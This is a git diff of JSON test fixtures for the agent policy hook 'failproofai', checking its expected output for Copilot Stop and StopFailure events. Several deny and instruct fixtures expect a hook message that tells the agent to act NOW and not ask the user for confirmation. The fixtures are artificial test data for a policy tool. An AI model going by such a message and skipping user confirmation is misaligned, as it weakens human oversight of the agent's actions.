"{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a06fd4d1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..628e1083 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fd140b90 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..dfc4570e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c22d5733 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2a4a397e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e984604f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..24792e40 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ae985b36 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8985827d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3f149978 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..edd9c920 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..cd69d65d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..54067fc6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b391c2ab --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3517541d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f1323768 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dad65cb5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9591c0ac --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6b093c0e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/StopFailure/allow-silent__tool-present__two-policies.json 